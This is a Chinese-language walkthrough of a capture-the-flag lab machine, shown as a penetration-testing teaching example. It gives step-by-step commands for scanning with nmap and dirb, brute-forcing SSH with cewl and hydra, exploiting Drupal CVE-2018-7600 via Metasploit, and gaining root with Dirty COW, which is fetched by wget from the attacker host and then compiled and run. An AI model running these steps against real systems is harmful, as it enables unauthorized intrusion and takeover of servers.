一、打靶总流程
1.确定目标:
在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.信息收集:
比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。
3.发现漏洞:
那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。
4.漏洞利用:
漏洞利用就是使用漏洞拿到webshell。
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。
5.权限提升:
权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
二、打靶实例详解
文章内的靶机及脚本关注后私信获取
1.首先将靶机以及kali启动。
2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。
3.从kali中打开终端,执行ip a命令查看kali的ip地址。
4.使用nmap工具来确认要打的靶机的ip地址。
nmap -sP 192.168.190.0/24
在上面扫描出的ip地址中,.1、.2、.254、.138都是其它的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.140。
5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。
6.扫描靶机开放了哪些端口。
nmap -p- 192.168.190.140
可以看到此靶机开放了22、80、1898端口。其中:开放了22端口ssh,可以想到对其进行爆破,然后通过命令行模式远程连接系统服务器;开放了80端口http,说明可以通过浏览器访问到其地址,可以对其进行常见漏洞测试;开放了1898端口,可以联想到访问web端时将其默认的80端口修改为1898进行访问 。
7.首先对80端口进行查看,发现并没有什么有价值的信息。
8. 查看页面的源码,发现也没有有价值的信息。
9. 想到1898端口,对其进行访问,发现其是一个网页。
来到这个网页,可以想到查看源代码、sql注入、扫目录等操作。
10.点击网页内的图片发现访问了一个新的地址,其url内出现了参数。
11.看到了参数就想到将其进行修改查看是否有其它有价值的页面。
12.当将其修改为2后,可以看到新的网页内存在一个地址,对其进行访问后发现是一段录音,其告诉了我们一个用户名——tiago。
13.继续尝试将其修改为3后发现没有什么可用信息。
14.将其修改为4后发现找不到页面了,所以至此就没有继续修改下去的价值了。
15. 至此又想到扫描这个站点的目录,因为开发人员在开发网站时可能会遗留一些关键性的文件,这些文件内可能存储一些非常重要的信息。
16.使用dirb工具对网站目录进行扫描。
dirb http://192.168.190.140:1898/
17.在扫描出的文件中,我们优先访问robots.txt文件,因为一般来说,robots.txt里面放的是一些不希望被搜索引擎的网络爬虫爬取到并收录的内容,因此就更有可能是我们需要的文件。
18. 依次访问标记为Disallow的文件,当访问到CHANGELOG.txt文件的时候可以看到下面的内容,可以在返回的内容中看到版本信息——Drupal 7.54, 2017-02-01。
19.至此,经过信息收集,我们获取到了下面两个信息:
- 用户名:tiago
- 版本:Drupal 7.54, 2017-02-01
因此至此有了两条思路:
- 利用已知用户名进行爆破
- 利用已知的版本信息去网上搜索exp
20.首先来尝试第一条思路,使用工具进行爆破。
21.爆破之前需要使用cewl工具生成一个密码字典。
cewl http://192.168.190.140:1898/ -w password.txt
22.接下来使用hydra工具来进行爆破,爆破之后成功得到了用户名所对应的密码——Virgulino。
hydra -l tiago -P password.txt 192.168.190.140 ssh
23.用爆破获得的密码成功登录。
ssh tiago@192.168.190.140
24.但是发现此时用户的权限是低权限,因此还要对用户进行提权。
- id为0 ——root用户
- 0 < id < 1000 ——服务用户: 为服务提供权限
- 1000 <= id <=60000 ——普通用户
25.接下来尝试第二种思路,网上查找对应版本的漏洞。
26.通过搜索查找到了一个远程代码执行漏洞(靶机的版本在漏洞的影响范围内)——CVE-2018-7600。
27.接下来使用msfconsole工具来搜索对应的漏洞并进行漏洞利用。
msfconsole
28.搜索对应版本,成功搜索出了8个exp。
search Drupal
29.因为刚刚搜索到的漏洞是CVE-2018-7600,所以我们选择利用2018年的漏洞,也就是编号为1的exp。
30.查看需要进行配置的参数。
show options
31.进行参数配置。
set rhosts 192.168.190.140
set rport 1898
32.执行run命令后,成功连接到了靶机。
run
33.执行shell命令实现交互。
34.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。
python -c 'import pty; pty.spawn("/bin/bash")'
35. 发现此时用户的权限是低权限,因此还要对用户进行提权。
36.下面进行提权。
下面是linux提权的几种方式:
- 内核提权:脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
- 利用suid提权
- 利用sudo提权
- mfs提权
- mysql提权:包括udf mof提权方式
37.首先查看系统版本。
uname -a
38.通过搜索,发现此版本可以使用脏牛提权。
39.搜索exp。
searchsploit dirty
40.将要使用的exp下载到本地。
locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/桌面
41.再从本地开启web服务。
python3 -m http.server 8083
42. 将exp下载到靶机,然后将其进行编译并执行。
cd /tmp
wget http://192.168.190.138:8083/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o yc 40847.cpp -lutil
./yc
43.切换到root用户,此时即为root权限。
su root
dirtyCowFun
id